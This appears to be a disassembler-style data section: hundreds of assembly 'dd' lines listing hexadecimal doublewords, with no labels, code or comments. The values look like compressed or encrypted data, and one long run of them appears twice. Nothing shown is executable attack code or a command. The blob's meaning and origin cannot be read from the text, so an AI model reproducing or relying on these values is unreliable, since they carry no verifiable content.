dd 7E0E39EEh, 3F75175Ah, 92D5253Ch, 9B2F9A9h, 0D3123E2Dh
dd 95F4F059h, 2AE855F4h, 96B5CCCBh, 2DB45DE4h, 1D558A8Dh
dd 6AE448E3h, 6885D680h, 2EF438F2h, 95779A84h, 15D7A7A4h
dd 9177A72Ch, 0C736460h, 0C66364E1h, 57F20C53h, 90B9EA6Eh
dd 907E9556h, 0BBDCB576h, 0ED6B5652h, 0A5B40A6Eh, 634B59A5h
dd 0D83AEE4Ah, 558BBA96h, 0D8E2AEA4h, 0B42C63ADh, 0C9480CBDh
dd 8FAC2BADh, 0A9CF1D2h, 69B6F730h, 0F8DE9555h, 58A22EE5h
dd 735F12A9h, 59CDBCC5h, 0BCD0FD2Bh, 8768F974h, 0AA486CA9h
dd 12666125h, 0EDF67C95h, 0A5340EE8h, 8B4B8CA7h, 0B8F1B404h
dd 0C48F232h, 7759A5BDh, 0A6BA0C1Fh, 0D8A88C78h, 0DE953E8Ch
dd 3B2EC50Ch, 142CC970h, 0D2E08555h, 0E4A05CF9h, 0AC24089Fh
dd 177A75Dh, 67736DC8h, 302B2C44h, 0C67741CBh, 0CB5ED6BAh
dd 24B2D39Ch, 0F66379E1h, 50842451h, 0E0EC5241h, 12FB4EBEh
dd 0D3A1F64Ah, 3C4730B6h, 6DFCB8DAh, 44E6E525h, 49F7AB77h
dd 5A30A570h, 72316E08h, 383F6C1Ah, 16BA12A7h, 0FCB29D38h
dd 49BC7455h, 8E0646DFh, 569491F4h, 6C8062BFh, 4E69F63h
dd 4E24129Dh, 0D26CF62Ch, 0D0A42F18h, 8A2C9148h, 34A30E72h
dd 77525FF2h, 6CD1A0A6h, 3A929DB6h, 75C928CEh, 5CB16A5Dh
dd 38B07477h, 24DD754Dh, 0C9264762h, 18BDF25h, 822B445Fh
dd 5853F5BCh, 51DB32ADh, 55584823h, 75FA212Eh, 0F054EDBAh
dd 79502157h, 14404D44h, 0AA213486h, 2ECA97E9h, 3B106DFCh
dd 0DB96E4EDh, 635D7D2Ch, 2C1FE9E1h, 73599D3h, 665FB91Ch
dd 0FAE1D31Ch, 0E2F564CAh, 42ACA463h, 4FAE0094h, 0D2803BEBh
dd 0C83A6953h, 0B2A44042h, 9552A800h, 6A69BCFCh, 68C9DBB4h
dd 0D657DA5Ch, 0F595D6E3h, 90D63C1Bh, 566B5291h, 66FD4F9Ah
dd 2E30C550h, 0A93CD450h, 0EC2E580Dh, 4C42AA14h, 373C15E4h
dd 6BEC3A2Ch, 7DF1EFC6h, 0E990D0FEh, 0FF5A2C63h, 4B9A512Ah
dd 0A15D8054h, 707D7A50h, 7BA2BE91h, 79A38841h, 8FBFD2D9h
dd 0DBF89738h, 0AE92857h, 2C69E550h, 0C92F4DD6h, 0DAEC735Fh
dd 50689735h, 5A9785FCh, 5C68D957h, 347D65B4h, 0D4E3AF02h
dd 0F79C14B9h, 0DA3B4CC3h, 4871DD0Eh, 489885D4h, 0A662C927h
dd 1DF26045h, 43548558h, 0EE1B7750h, 0AB6F7473h, 0E4E6CBACh
dd 526D56B7h, 56E0D3DDh, 3C972382h, 2B765068h, 25456F50h
dd 3A4BAECCh, 894BACCFh, 9225BFAAh, 0CBB46D28h, 5D36CD5Bh
dd 393EEDBDh, 3410911Ch, 10301B2Ah, 13434101h, 974F4954h
dd 0A713AEB7h, 704BAD80h, 0A880BDE4h, 9F19A445h, 835EE56Ah
dd 0F5E2D35Eh, 7B3E2FF1h, 0FA53139Ch, 0D5745392h, 0FEF4F612h
dd 0EFE0156Eh, 961FEB5Eh, 185049CCh, 7781A270h, 1D9D9DD0h
dd 0E6D3E960h, 7EB7BFA0h, 5AA8E81Ah, 0A56F6C41h, 795585B0h
dd 0E92F5A7Dh, 2867ED50h, 97500AEDh, 4374FCD5h, 929AA2BFh
dd 982AF3BFh, 9C7A69D0h, 44BDB237h, 334616Fh, 3EA2E1EFh
dd 124F60F9h, 0AE8AEAC8h, 9A70CB4Ah, 0DE88E5C7h, 0C9685085h
dd 26D95FD2h, 0C60A1A6Dh, 798DEF92h, 0C169C81Bh, 767CF95Fh
dd 2375AF96h, 0C8BFDA50h, 825450C8h, 89545DEBh, 0C78D4FE9h
dd 0EE72944Eh, 70531821h, 14F858ADh, 79F0F887h, 0B14F8270h
dd 0D0BDF7ADh, 4E705509h, 527F9EEDh, 0D49F604Ch, 0DF40C893h
dd 692C5138h, 0DE2D3DBFh, 0F3EFBD35h, 0A0D14CAh, 11AFE404h
dd 6212147Eh, 0AA5FF79h, 9A5C169Fh, 5BD50569h, 95572FFDh
dd 0EED56B74h, 0E8A39423h, 4CD42728h, 0FA46E653h, 1764BD68h
dd 0A1EB0C86h, 0F7250F3Ch
dd 0F9AD249Dh, 95F72526h, 1AFDA725h, 4179F54Ah, 5C52F96Ah
dd 241E3119h, 0AB814472h, 3F0AC44Ah, 0E9933225h, 42EA0ADCh
dd 0E3008B2h, 0BAB07469h, 0AA755AF8h, 9FB01050h, 0CEBDBB25h
dd 0E02E7E07h, 2DA8A55Fh, 6E3EADFBh, 0D4C913E8h, 7F66F952h
dd 67CB58B3h, 0C8142485h, 0CA76647h, 53282121h, 4DB21486h
dd 0B40C3ED0h, 0E7764033h, 772E6E92h, 1A95C96Ch, 509A7744h
dd 94D70C32h, 701088D0h, 0A50CA56Dh, 21D79866h, 54EFB4D7h
dd 0CD9D208h, 94D62FADh, 46EC2EC5h, 0E9106F29h, 1683CF6Eh
dd 16F531DAh, 2E4828h, 8060FB96h, 97317973h, 1454BA5Fh
dd 98129AACh, 0B208840Dh, 42088B27h, 0C591904Fh, 5E08B692h
dd 0EC1DADE1h, 8648744h, 6259C8BEh, 3CCA78F6h, 72450876h
dd 0E3664BAh, 834660Ch, 0C29C99D7h, 65CD2C9Bh, 4320F308h
dd 551392ACh, 1043A4EDh, 7A24D690h, 6BBDCF04h, 2B822E08h
dd 70728820h, 0ABF453C9h, 2908A344h, 656AE580h, 4640B808h
dd 10A94E14h, 109E0C42h, 0B26DA26Bh, 23225C08h, 61720A14h
dd 182B532Ch, 6D958077h, 20E99608h, 63150C90h, 0F1920879h
dd 61140C02h, 590859FBh, 6DD44CFAh, 0F2AE08A6h, 358D208Bh
dd 0E95D1328h, 1410D1CFh, 0D3086867h, 0B44D1EA3h, 5B13EBB4h
dd 0FBE4EBB3h, 0E12EDED8h, 0E0D6305Eh, 7BB16D44h, 8FD81C4Bh
dd 73554234h, 0AC3871F5h, 308D76C4h, 7A0C54C9h, 8F6F4CD7h
dd 0EAF7693Ch, 876D34BDh, 71167234h, 0EA1645FDh, 74F4B837h
dd 0EF221252h, 7B4CC836h, 5A54A56Fh, 8FC26677h, 0D634A18Ah
dd 5238FB8Dh, 797FA970h, 2DB86A73h, 32A1BFE4h, 0E7C5F86Ah
dd 4750334Bh, 0ACD25827h, 5BF24A96h, 5444A5B9h, 2C65A574h
dd 9A50177Ah, 442D2A4Bh, 0F8BC7A70h, 0D7340BBDh, 7FE401F2h
dd 29AB4934h, 0AE486B6Bh, 48F2D1CBh, 73177FA8h, 0A14EFEB3h
dd 0FF3D7A4Dh, 0E5EA171Dh, 384821ACh, 14DFEF4Ah, 43259BD1h
dd 7697E7F4h, 9A42D0A8h, 423C7EA4h, 0AE969039h, 507CD179h
dd 0A9C66CFDh, 0B44549A5h, 2DA03FFAh, 511A4B3Ah, 4485ED94h
dd 0F017555Ah, 2CA20CAEh, 727A6CAEh, 61E44496h, 638530B6h
dd 6408626Dh, 2BE8127Dh, 761CB109h, 506F0859h, 66C43020h
dd 6978B76Ch, 0EB20D488h, 677AF47Ah, 0C38208A6h, 828202Bh
dd 2924CD08h, 1FBB93B4h, 2778EBBDh, 0C2F4B9CAh, 0C9C24B4h
dd 86E5270h, 251C2968h, 0F894EA0Bh, 8AC647Dh, 0FB767343h
dd 397439C2h, 0DCCC42A3h, 882708EBh, 98CD3CACh, 527F0819h
dd 4E688A46h, 0FC392439h, 71CA1091h, 2575C508h, 6852F7F5h
dd 285A0C40h, 72C560A4h, 77610861h, 7470700Ch, 8C1D928Ch
dd 4B6A4724h, 0B7982210h, 7BC808FAh, 0A82D574Bh, 0D2E039A8h
dd 65091CFFh, 889CF54Ch, 7B66E273h, 6BDF6B98h, 10244777h
dd 68EBBC5Ah, 57522043h, 2442B79Bh, 32F15F54h, 666A601Dh
dd 0B09E2446h, 5A8966C4h, 992E0C19h, 6B101D25h, 1C0F0DA1h
dd 98CE2069h, 2A636723h, 83E1BDF4h, 187E6E70h, 0ECD14C27h
dd 9BAF6C13h, 26BE4E86h, 3C30102Ch, 79742645h, 0BCC2973Eh
dd 0F3752812h, 0B5482030h, 5BE054D8h, 444D430Dh, 8F2FF15Dh
dd 0D7F8522Ah, 0BD3509B5h, 9970100Eh, 261FED0Ch, 946C268Ch
dd 0B7405CCBh, 0CF245A19h, 82F1092h, 0F87259D3h, 85483266h
dd 8657075h, 0B46292F5h, 0FC4A08D1h, 0B17389C8h, 67E270ECh
dd 0D8C93DD4h, 673362C2h, 87EF0893h, 693CFA30h, 67084688h
dd 0A566AA79h, 0B2D45813h, 53149160h, 694E5168h, 5A0C46A7h
dd 6F756787h, 0F37EB8B7h, 3324A719h, 0BB75CCD8h, 0A48AAC64h
dd 0E9B0997Fh, 0AC5DC8DEh, 6C4173DAh, 0EFC4DB92h, 0F796CAE2h
dd 2E16F424h, 0D6317851h, 0FA0B6864h, 690C3977h, 64E1BC5Dh
dd 78244A19h, 221AFD97h, 33610C0Fh, 0C2316D72h, 2062951Eh
dd 68BCE47Bh, 88490822h, 70261BAAh, 0DB3468C2h, 731233A0h
dd 9718F2E5h, 0D27A208Ah, 0DBFFF3B1h, 5CBE8497h, 44962F8Ah
dd 247999Ch, 6AF9538Eh, 4F12B64Fh, 0F36D88B6h, 0CD27A72h
dd 0FF289477h, 7F16E4CAh, 5128A61Fh, 34620E43h, 681425DFh
dd 0D820C90h, 1CA11047h, 38AD126Dh, 0B891B8BEh, 95740243h
dd 595ACF95h, 34E06FBEh, 9C18FB3Fh, 0A9671F5Ch, 6922507Ah
dd 0F261655Eh, 0C745903Ch, 802C7502h, 15A1AC70h, 27504455h
dd 4744CA97h, 79F4406Ch, 286E1F29h, 0C7BC531Eh, 7322B49Ch
dd 47B6428h, 4471F2AEh, 78A753F4h, 721C24A3h, 2A1F46A5h
dd 9F28741Fh, 44BEE51Eh, 72D08474h, 0CF5DEF6Ch, 7FEECAC2h
dd 0BCD16814h, 680287CAh, 0C9F7424h, 7242DC59h, 44FE16Dh
dd 291E24F4h, 29151560h, 0FFE00408h, 341F2A44h, 0FC5ED48Bh
dd 0DD2CD06Ch, 34531DE8h, 2514462Ch, 8C5C3634h, 6C148924h
dd 14485E77h, 188C1DB6h, 0FD34C2FBh, 0DADA3038h, 0E9620832h
dd 484C141Bh, 75A5B7B8h, 8E64189Ch, 0BB9AD892h, 7267DC94h
dd 964EC9C8h, 9EE6DABDh, 2C249F31h, 82814CDh, 1069A146h
dd 1CA0B745h, 5EBCD991h, 0AF8BF567h, 642585ADh, 202D040Ah
dd 814B6816h, 0FC8E0B6Eh, 0AC7BA5D7h, 92AD43F1h, 0BD780BAh
dd 0F7E7C25Ah, 2141DFBBh, 0F0F83A5Dh, 93480EEDh, 0FDD2C8BDh
dd 46A29646h, 0E9924546h, 0E945AA88h, 84B55DF2h, 5ECCD8E8h
dd 8281AD6Dh, 54414843h, 0FFC98897h, 329DF846h, 4A91F626h
dd 4A55E826h, 0E7B57C28h, 50010F68h, 15479B5Fh, 4528EDC4h
dd 208D2A0Dh, 27E4A83Eh, 4EEACA6Ah, 0FC81D22Ch, 0A4F65A01h
dd 0F97E01CBh, 4CE15316h, 0B3C23F19h, 0B86EF511h, 0EEE406D5h
dd 8EC21BF1h, 0A2ABD254h, 0A9333880h, 4FB87C32h, 0BB0065AFh
dd 0BB933C3Fh, 3FEE77C4h, 8790D56Ch, 5C293533h, 498848E0h
dd 0C59576D8h, 0B4D32D04h, 48B65CC9h, 93215794h, 0B24B825Bh
dd 543BDF4Ch, 3334191Bh, 323099E8h, 4564CE2Bh, 4F880317h
dd 0DB247FAh, 0F686AFBBh, 7DFB2AE1h, 39BF2B88h, 800600F8h
dd 0AF01A8BDh, 11C97D8Ah, 0FB2AF4BEh, 89297406h, 1F7D9531h
dd 4C5FA588h, 8018692Ch, 0E0147357h, 975201B0h, 0D059CA03h
dd 80D5A811h, 280DC9A0h, 145180h, 1D55B526h, 46C5C137h
dd 6379AB00h, 0E8682A8Fh, 64E59569h, 0A4B73A94h, 0C743F4B1h
dd 0C08446Ch, 1C5C8964h, 1C4C8954h, 1C3C8944h, 122C8934h
dd 48242401h, 2202911Ch, 3044410h, 0D8AFD48Bh, 0CA56478h
dd 975044B8h, 3664E425h, 0CC9D2108h, 85088BF6h, 0B4511053h
dd 0D345B10h, 60A1D4F5h, 0A7882108h, 8A19551h, 0F97852AFh
dd 95116456h, 0DA25C0BFh, 160E952Ch, 4B03F6D2h, 0BFA45CCEh
dd 8A8D2035h, 0D92A3C0Dh, 47846956h, 346DF474h, 766EA802h
dd 8C33EB09h, 0E263A5F7h, 4EFA5E5Ah, 3EC96C85h, 0A6FD7833h
dd 696F7718h, 5675CF83h, 9D642B88h, 201A3E9Ah, 0DC4C73Ah
dd 7E110BB5h, 3FD66BB2h, 2864855Bh, 89AEB2FAh, 0C944DD63h
dd 0D8ED11D2h, 36D2613Eh, 7DDFCA4Fh, 2EB755A5h, 139F1259h
dd 7CA86914h, 21216EFCh, 842E2EC5h, 6D338043h, 0D55A6BFEh
dd 0C4F2E2D5h, 9534AE4Fh, 7DCE2C39h, 0F8B4C07Bh, 4C6F6BCBh
dd 0F65F24D4h, 51FF4E98h, 0A15F2345h, 2E8519C8h, 22411EB6h
dd 0EAC7943Bh, 47E2A889h, 48CB290Ch, 0E942E866h, 8788EEDFh
dd 0AA6465B0h, 3152D1A2h, 0BA45852h, 0C47F70C0h, 614CCD18h
dd 72349593h, 501ADA1Bh, 66448119h, 8DB66A2Dh, 4248488Fh
dd 9DA43CD2h, 5F48430Ah
dd 0F46BEC21h, 5CEDE80Ah, 0F2976492h, 5E7897B6h, 2B49B9A5h
dd 562B5E50h, 69D12893h, 226F5A49h, 0A4932C72h, 3514DABFh
dd 0C134EE76h, 8B6274EBh, 0A6E9931Ch, 8146C4D1h, 3812AED7h
dd 0A0A5A729h, 5120657Eh, 126CD2F5h, 0EECC636Dh, 0E259F86Eh
dd 6C898343h, 0F1DE5F44h, 3E68F13Ch, 0DC905BECh, 26CDDD4Bh
dd 1AACD249h, 8C85DCA6h, 69592AEAh, 0F45FDE29h, 0A8912EECh
dd 0AC11675Ah, 596C992h, 0EE97FDACh, 0AB30863Dh, 0DD8AC447h
dd 0DF95414Ch, 56686926h, 0A7C8F195h, 0AFA1E873h, 2089D3E9h
dd 125D9D2Ch, 0E9F345A3h, 2494DB55h, 341EDAF4h, 2B62CDB5h
dd 0DF4BF3C4h, 3FB1CB84h, 0BCF43436h, 0CF54463Eh, 9DFAB325h
dd 0ABCFC325h, 8553A256h, 0E2AB0B52h, 4618478Dh, 2852240Ch
dd 0F57618CDh, 0F05D1846h, 967F0C46h, 270BC805h, 11D4327Fh
dd 77E66694h, 3F4D782Dh, 6ED57FA9h, 0E677BBB7h, 3A74CEC3h
dd 0E5EC8B12h, 9E5F77A8h, 0ABB05C1Eh, 0CB2F3441h, 0A9684238h
dd 79F62028h, 0A0D21E94h, 34312D44h, 9518DD53h, 361B0632h
dd 0F2D40B75h, 0DC0A5BA4h, 672DD959h, 0BBBD5B38h, 99D21EE2h
dd 2F1E0928h, 39FF1CDh, 0E9FE2D52h, 11B1A6Dh, 0A8DA114Eh
dd 0C44647Fh, 2F3A9563h, 74BAD73Ch, 687EAED5h, 19AD1452h
dd 52174F48h, 341BAD84h, 0D071E96Bh, 0CAB975Eh, 24ABE165h
dd 852060A4h, 3F50A2CCh, 6BD5E957h, 2863962Bh, 78614D09h
dd 75B5922Eh, 4965C3C1h, 4250A012h, 4C522764h, 75EF0AFBh
dd 0EA43C417h, 0CB25A88Dh, 5728B9F2h, 736B6C89h, 1EA61F79h
dd 59095347h, 0AE1CB590h, 1472D464h, 7B44A61h, 3B1A6619h
dd 6E9410A3h, 89AB974Ah, 3E4EEF7Dh, 0AC73E48Ch, 61423B60h
dd 0B426ACCAh, 1A248134h, 9C411472h, 0C554B7B4h, 48761052h
dd 0FFFAFD6Fh, 29ED26D1h, 79B4E87Eh, 0A1685EB5h, 0B3DFAD48h
dd 0F3F07532h, 12DC4778h, 4062AF47h, 0CB00F655h, 52F5B2D2h
dd 14AF5379h, 3E61114h, 0B754625h, 1DC257A8h, 63411118h
dd 0AFA95DE3h, 0BB92771Ch, 71F5C192h, 0FEC0EA9Bh, 0E76E412Eh
dd 99D0B52h, 697C7605h, 1D790E62h, 28697AA4h, 472F7C18h
dd 2F6552D8h, 0CFCA5544h, 0A365644Eh, 0E104A9Ah, 6C634FAEh
dd 75FB853Ah, 839AE6Ah, 2D6E9371h, 0DA465D1h, 5C2B73DAh
dd 9432BDD2h, 52E437D0h, 7875AF38h, 9A9667CBh, 988ED314h
dd 52007026h, 123412D1h, 28DF29AFh, 4A28A328h, 0AD472D72h
dd 0BD17C3C8h, 0F26E3839h, 2F792BC9h, 2E0ACF29h, 0F7695C29h
dd 18718892h, 0E546C449h, 744FF05Bh, 42232A99h, 0DF6FCBA0h
dd 0A18A1F4Ch, 0DE40947Fh, 265A761Ch, 7990898Ch, 0E506D4Eh
dd 0FC0E68A3h, 8BA23B25h, 0A3F7AC65h, 10531942h, 0B87B9241h
dd 62C99344h, 114B0125h, 4E4DBA68h, 4FAA75D2h, 5A32646Dh
dd 0CE466C71h, 1229CAD3h, 0FF5B625Bh, 0BEE16D24h, 5B29FB2Ah
dd 2EA9353Ch, 4C69568Ah, 0E14D8CD1h, 215453F6h, 0EE5FA7ECh
dd 0E582A2EEh, 4A28297Ah, 0C8825ED7h, 219CD34Ch, 4E643E2Eh
dd 0A51BECEFh, 2C1FCDAFh, 166A9AB8h, 0CDC196CFh, 68FE2A91h
dd 0BA9D2E78h, 4D671290h, 48B8215Eh, 2C2E59FAh, 3C2EAEE4h
dd 0A53E71ACh, 22E97B1Ah, 693C8F0Eh, 55D21474h, 8A539AFEh
dd 71F09A79h, 2964892Dh, 449340F1h, 2D5A56BFh, 0A88F6F6Fh
dd 0ADD4FDB5h, 0FDB5380Ah, 3C2AA4D8h, 8C74AA92h, 4C061E36h
dd 94A4D83Ah, 0C7B9AAA4h, 42ECA4D2h, 6A413F38h, 0B3A565B3h
dd 0A0093408h, 34711129h, 0EDFCA492h, 29BB28D3h, 40103E4h
dd 405C091Ah, 0DA425F28h, 9A050139h, 5C29D109h, 706911B3h
dd 2443502Dh, 27FA7C70h, 32216C14h, 19334B33h, 46F5E464h
dd 55DE4DE1h, 2F756454h, 4AFCBAFFh, 2C17DF46h, 28CD5525h
dd 0BFE0446Bh, 5772E9FEh, 815196Eh, 90B54378h, 77FCC408h
dd 0F409F80Ch, 4410F089h, 24815C3Ah, 116F30BFh, 0C4A84BD1h
dd 9869119Bh, 0E0175D1Ch, 0CDC77F4Bh, 0F2BA55ADh, 75492154h
dd 2E2E67A5h, 4434D344h, 75329BCDh, 0BB920349h, 3790B03Fh
dd 53778393h, 2B4A249Dh, 0F534D77Ch, 0FE783551h, 43747323h
dd 0FA41FC73h, 54709176h, 75FAC087h, 0F093EB12h, 0D1DF52EAh
dd 0B0BA57Ah, 6EB8B26Ch, 2159D4BFh, 3C8C5650h, 545AF6BCh
dd 925AC85Ch, 0D7183A53h, 52D097A3h, 6FBD5091h, 6FF52DE9h
dd 0C4FED600h, 0D1F46A26h, 898B4B35h, 9A93042h, 2E38092Bh
dd 0FB5B81CBh, 1896A829h, 0DD306B4Eh, 0F9616452h, 0E83F6325h
dd 24109985h, 0A4E90023h, 47F2BD7Fh, 7C12D2BCh, 72F9704Dh
dd 6E55F01Eh, 74729972h, 75789887h, 5E72996Eh, 977C1491h
dd 1829DAF9h, 47FDA27Ch, 53D74913h, 2EB8E3Dh, 0F9E80541h
dd 5B0281FFh, 0B966C931h, 73800E87h, 0E243D10Eh, 32184FF9h
dd 1B0C2DB1h, 0C0330200h, 30400364h, 0FA2BFF78h, 8C1B467h
dd 0A8F09EBh, 7CEC8D34h, 0D0FC3C0Ch, 0CA0B0367h, 0E9784853h
dd 0DAF52041h, 391C59F4h, 0F61CFF33h, 0C277057h, 792A8110h
dd 411FF40Ah, 33990275h, 0FB3B0316h, 3B178F18h, 4C03983h
dd 8587C3B9h, 47DB74F6h, 3D741FFh, 57FAC8F2h, 0D112E837h
dd 0C931FCC9h, 0B570F85Fh, 38B85B7Ch, 17E8186Ah, 78017533h
dd 0DD93B5C3h, 15072122h, 0A6ED840Fh, 5B58C300h, 0EC83505Dh
dd 8B9F5450h, 488DFC0Eh, 0F3D7A040h, 0E44B0AAh, 515257ABh
dd 26286A27h, 55000C01h, 83D6FF53h, 318554C4h, 2D67C3C0h
dd 2876E65Bh, 0C9155C69h, 0E34D653h, 2E0D79BEh, 2ABBE464h
dd 6CB396E9h, 8CA43FCAh, 73089875h, 705DD388h, 1CEA4741h
dd 0D7271B3Fh, 1A3F847h, 41785804h, 0F00E2CF2h, 0E00C4216h
dd 7F212A09h, 7C5DB443h, 0BF852802h, 0E048BC42h, 84648F10h
dd 8A22462Fh, 1590281h, 4038F40Bh, 9002A582h, 3C46BF02h
dd 10AC041h, 582292AAh, 1008992Eh, 2A40144Ch, 47044381h
dd 1FF2958h, 0F139F099h, 550195C2h, 1C5C4955h, 1001E08Ch
dd 0D819C314h, 1D834217h, 44D41122h, 1B89D01Ah, 1F24C812h
dd 1391C048h, 2144B822h, 120E89B0h, 480D24A8h, 220F91A0h
dd 90104498h, 88120589h, 84481E24h, 80221291h, 897C2044h
dd 2474120Ch, 916C480Bh, 44642215h, 19895C1Ch, 11245412h
dd 18914C48h, 16444422h, 48DC8B3Ch, 22229134h, 2C234430h
dd 28122489h, 0F0430128h, 0F831847Fh, 0A6EF18FFh, 7104810h
dd 8B080A2h, 1814410h, 80301458h, 4152E795h, 289EF204h
dd 0B42C0F01h, 20030495h, 5D0D2D09h, 49A62174h, 402010Ah
dd 0A40C0808h, 39600803h, 21297982h, 0DFA68A18h, 0A5A14208h
dd 219F8130h, 4004FCE0h, 0A833807Eh, 0A3C1610Eh, 0D0EC52DAh
dd 0FE4981FCh, 0CA08D0B8h, 915D30B5h, 87B6C841h, 29E4A2CFh
dd 67E5E007h, 6A5B85E8h, 0A17E1560h, 551180Ah, 0E55EDA09h
dd 9E5FC09Dh, 0B832106Ah, 0DED808D3h, 310AF9E0h, 3C4A3A7Eh
dd 2949CA9h, 803CA04h, 18480464h, 0D220591h, 89090644h
dd 240C1207h, 39097208h, 0B1C4C0Ah, 3C169487h, 0F2908D0h
dd 14109458h, 129411C8h, 2318D004h, 10359421h, 43E441C8h
dd 34995072h, 53184C52h, 575308A6h, 7C592960h, 0C8186C94h
dd 2220916Dh, 721C4470h, 653ACAEh, 0B4802B30h, 0CA088194h
dd 83642082h, 48998472h, 25291291h, 0A110329Eh, 4CA490B9h
dd 578EA770h, 0CE29A0B7h, 0C4D79120h, 0C980718h, 0BC08005h
dd 1D998493h, 961C0419h
dd 238D9187h, 0F28E9008h, 90431E8Fh, 927991C8h, 0E493210Fh
dd 0A989C03h, 0C9148C89h, 0A41AA34Eh, 421B2004h, 78F4AC8Ch
dd 68FCA61Ah, 9E2810C8h, 0C7102EA4h, 0C8318B78h, 8ECE248h
dd 50BB2478h, 3119F80Bh, 0CCE2C0D8h, 0BB9878F0h, 63601F80h
dd 102E281Eh, 781119CEh, 218F011h, 48E02479h, 22D0917Ah
dd 6A3020FCh, 0C2C0FF44h, 46B94021h, 11C9C86Ch, 7971DC01h
dd 0E4246210h, 5D2CBDEEh, 0CC23B924h, 0BF582B4Bh, 34269485h
dd 18DD109h, 352460FCh, 409BC0B3h, 0EC03F209h, 3C815930h
dd 0E4E0182Eh, 897F4820h, 8CB07080h, 38C2F1F0h, 0BF545350h
dd 44506284h, 0FC4240BFh, 0A84157A8h, 0EA3B19A9h, 100E7879h
dd 891E0C40h, 4C5A133Bh, 97CCA408h, 0D489B509h, 1125F312h
dd 930D54Ch, 146D894Eh, 533A3462h, 6777176Ch, 48B404BCh
dd 9F299D3h, 2F519910h, 6C124D09h, 0A041A1C5h, 140B4002h
dd 0A10C05C8h, 790B08FAh, 610C9C21h, 0B0FC350h, 12F42408h
dd 21968050h, 20401698h, 8C19BEBCh, 0C9BF0402h, 10348E1Bh
dd 0CC3DEDA1h, 0D3C28FCEh, 0F020804Eh, 370B59Eh, 0C5ADA82Bh
dd 0D0E0699Dh, 2500FD5Dh, 4F8E1AE5h, 0F883EB19h, 0D7960071h
dd 50E4395h, 0AF3E298Dh, 0BFF9009Eh, 81ED44A0h, 3E8F7312h
dd 7BB982h, 0CFA6D53Ch, 781F49FFh, 6F007ADFh, 0E98CE0C6h
dd 47C90080h, 41A893BAh, 6B0085BCh, 8D392755h, 3EE070F7h
dd 0DD00427Ch, 9DF9DE8Eh, 7E00EBFBh, 0A14351AAh, 0E376E6h
dd 2F29F2CCh, 44268184h, 17102803h, 0A8AEF8AAh, 7CC4C5E3h
dd 0A7EB07FAh, 50F7F3D4h, 957A4AE1h, 6545CF00h, 0E91C7CCh
dd 0A0AE01A6h, 46A3E319h, 0C17F40Dh, 8681751Ch, 48C976C0h
dd 42584Dh, 3993A7E4h, 0B2B8353Bh, 0FA53ED3Eh, 3D5DE50Eh
dd 8B417FC5h, 0FF5A929Eh, 0F0A6E8h, 54C020A1h, 61378CA5h
dd 8BFDD10Eh, 25D8405Ah, 0F9895Dh, 95AA67DBh, 0BF27F3F8h
dd 80C8A23Eh, 4C6E80DDh, 979BC9h, 52028A20h, 7525C460h
dd 0CD34FBA4h, 12004CCh, 5713FFBh, 0A3D70A3Dh, 0F8050F70h
dd 3B645A80h, 8D034FDFh, 83126E97h, 0D3C3E0F5h, 1965002Ch
dd 0B71758E2h, 0D0F8F1D1h, 84230F07h, 0AC201B47h, 0F8EEA7C5h
dd 0B6A60040h, 5AF6C69h, 863E37BDh, 3D3300EBh, 0E57A42BCh
dd 0BF940FD5h, 0C287E7D6h, 61CE10FDh, 770F1184h, 80E4ABCCh
dd 0E15B4C2Fh, 0BEC4034Dh, 0C9E69594h, 53C092E3h, 441F753Bh
dd 9A8F14CDh, 67DE80AFh, 73994BAh, 0B11EAD45h, 24807FCFh
dd 0BCE2C623h, 310F3BFEh, 9D7A8B61h, 0C1595500h, 0F53B17Eh
dd 5FBB127Ch, 2FEED780h, 0BE03068Dh, 0FB158592h, 1C487E44h
dd 0C139E9A5h, 0A87FEA27h, 0AC7DF02Ah, 0BCE4A100h, 0D0467C64h
dd 3E5500DDh, 0CC067B63h, 77035423h, 8191FF83h, 3AFA983Dh
dd 637A0019h, 0C0314325h, 21003CACh, 8238D189h, 0E0B89747h
dd 3BD700FDh, 85888DCh, 0E807B11Bh, 3A686E3h, 4584C6C0h
dd 0B6070042h, 0DB377599h, 33073A2Eh, 23D21C71h, 49EE3280h
dd 395A0090h, 0C0BE87A6h, 0A53CDA57h, 0B5A20082h, 0B268E232h
dd 52A70011h, 0B759449Fh, 25002C10h, 362DE449h, 1E534F34h
dd 0C06BCEAEh, 0A404598Fh, 0C200DEC0h, 0C6E8FB7Dh, 0E79E1Eh
dd 91575A88h, 8350BF3Ch, 4E182201h, 0FD62654Bh, 0CAF8FE0h
dd 117D9406h, 9F00DE5Ch, 4C8D2CEh, 9CD8A6DDh, 0E816B80Bh
dd 2E94CC1Ch, 56413F03h, 9C637865h, 40EDB4BBh, 4B184FE3h
dd 5FD84BFAh, 4044BFF4h, 3C2AC6EAh, 6C92388Dh, 1A6FA5AEh
dd 92204321h, 5F6F0EEAh, 0BF73668Eh, 202EED94h, 2FE8E94Fh
dd 0D6E2FA5Fh, 43C88A32h, 0FFEFEB01h, 0BE013EE4h, 143FEFFh
dd 60BEEBBAh, 238D9100h, 0F28E9008h, 90431E8Fh, 927991C8h
dd 0E493210Fh, 0A989C03h, 0C9148C89h, 0A41AA34Eh, 421B2004h
dd 78F4AC8Ch, 68FCA61Ah, 9E2810C8h, 0C7102EA4h, 0C8318B78h
dd 8ECE248h, 50BB2478h, 3119F80Bh, 0CCE2C0D8h, 0BB9878F0h
dd 63601F80h, 102E281Eh, 781119CEh, 218F011h, 48E02479h
dd 22D0917Ah, 6A3020FCh, 0C2C0FF44h, 46B94021h, 11C9C86Ch
dd 7971DC01h, 0E4246210h, 5D2CBDEEh, 0CC23B924h, 0BF582B4Bh
dd 34269485h, 18DD109h, 352460FCh, 409BC0B3h, 0EC03F209h
dd 3C815930h, 0E4E0182Eh, 897F4820h, 8CB07080h, 38C2F1F0h
dd 0BF545350h, 44506284h, 0FC4240BFh, 0A84157A8h, 0EA3B19A9h
dd 100E7879h, 891E0C40h, 4C5A133Bh, 97CCA408h, 0D489B509h
dd 1125F312h, 930D54Ch, 146D894Eh, 533A3462h, 6777176Ch
dd 48B404BCh, 9F299D3h, 2F519910h, 6C124D09h, 0A041A1C5h
dd 140B4002h, 0A10C05C8h, 790B08FAh, 610C9C21h, 0B0FC350h
dd 12F42408h, 21968050h, 20401698h, 8C19BEBCh, 0C9BF0402h
dd 10348E1Bh, 0CC3DEDA1h, 0D3C28FCEh, 0F020804Eh, 370B59Eh
dd 0C5ADA82Bh, 0D0E0699Dh, 2500FD5Dh, 4F8E1AE5h, 0F883EB19h
dd 0D7960071h, 50E4395h, 0AF3E298Dh, 0BFF9009Eh, 81ED44A0h
